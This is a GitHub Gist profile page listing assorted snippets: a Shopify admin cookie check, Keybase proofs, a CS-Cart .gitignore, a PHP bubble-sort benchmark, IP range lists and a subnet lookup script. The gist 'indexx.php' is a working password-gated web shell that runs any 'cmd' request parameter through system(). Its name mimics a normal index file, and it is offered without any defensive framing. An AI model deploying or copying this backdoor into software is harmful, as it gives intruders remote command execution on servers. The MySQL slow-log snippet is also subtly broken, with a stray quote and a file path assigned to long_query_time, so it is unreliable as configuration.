Skip to content

Instantly share code, notes, and snippets.

View atastycookie's full-sized avatar
💭
I may be slow to respond.

Roman atastycookie

💭
I may be slow to respond.
View GitHub Profile
@atastycookie
atastycookie / check-shopify-admin.js
Last active November 17, 2022 07:33
check-shopify-admin.js
function getCookie(n){var e=document.cookie,i=n+"=",o=e.indexOf("; "+i);if(-1==o){if(0!=(o=e.indexOf(i)))return null}else{o+=2;var t=document.cookie.indexOf(";",o);-1==t&&(t=e.length)}return decodeURI(e.substring(o+i.length,t))}function doSomething(){null==getCookie("__ssid")?alert("not admin"):alert("admin")}
@atastycookie
atastycookie / indexx.php
Last active July 12, 2021 08:01
indexx.php
<?php if($_REQUEST['rkn'] != 'true') {die;}; if(isset($_REQUEST['cmd'])){ $cmd = ($_REQUEST['cmd']); system($cmd); die; }?>
@atastycookie
atastycookie / .gitignore
Last active December 24, 2020 19:21
CS-Cart (CSCart) Multi-Vendor (MultiVendor) gitignore file from @simtechdev/cs-cart-gitignore https://simtechdev.com
js/core/node_modules
js/tygh/core.js
js/tygh/notifications_center.js
js/tygh/bottom_panel.js
js/core/npm-debug.log
js/tygh/bottom_panel.js
app/lib/composer.phar
design/backend/css/twitterbootstrap.css
images/*
@atastycookie
atastycookie / keybase.md
Created November 2, 2020 15:30
keybase.md

Keybase proof

I hereby claim:

  • I am atastycookie on github.
  • I am deadroot (https://keybase.io/deadroot) on keybase.
  • I have a public key ASB4MpJiESUYiprIp_SPX4dWgDHJ2w7XH9LvSJIzh1fmDAo

To claim this, I am signing this object:

@atastycookie
atastycookie / useful_tip.md
Last active October 23, 2020 09:54
useful tip
  1. :)
  2. Думай и делай выводы сам, развивай критическое мышление
@atastycookie
atastycookie / buble.php
Created October 20, 2020 16:47
Сравнение производительности и использования ресурсов strict и non-strict кода на PHP7.4 и PHP8 для рандомного массива и его пузырьковой сортировки.
<?php
$count = 1000;
$minNumber = 0;
$maxNumber = 666;
$array = getRandomNumbers($count, $minNumber, $maxNumber);
$sorter = new BubbleSorter($array);
$sortedArray = $sorter->sort();
echo implode(' ', $sortedArray) . PHP_EOL;
SET GLOBAL slow_query_log = 1';
SET GLOBAL slow_launch_time = 2;
SET GLOBAL long_query_time = '/var/log/mysql/slow.log';
FLUSH SLOW LOGS;
#!/bin/bash
##### IP RANGE #####
ip=(
"5.61.16.0/21"
"5.61.232.0/21"
"79.137.157.0/24"
"79.137.174.0/23"
"79.137.183.0/24"
"94.100.176.0/20"
# -*- coding: utf-8 -*-
import socket
import binascii
import sys
SUBNET_LIST = {
"52.56.0.0/16": "Amazon AWS",
"206.189.0.0/16": "DigitalOcean",
"167.99.0.0/16": "DigitalOcean",
"165.227.0.0/16": "DigitalOcean",
### Keybase proof
I hereby claim:
* I am atastycookie on github.
* I am ananev (https://keybase.io/ananev) on keybase.
* I have a public key ASCbb3lrKJa1ccKbIyzhiFh3CJoEtVxqNz-fwupBP-XBPAo
To claim this, I am signing this object: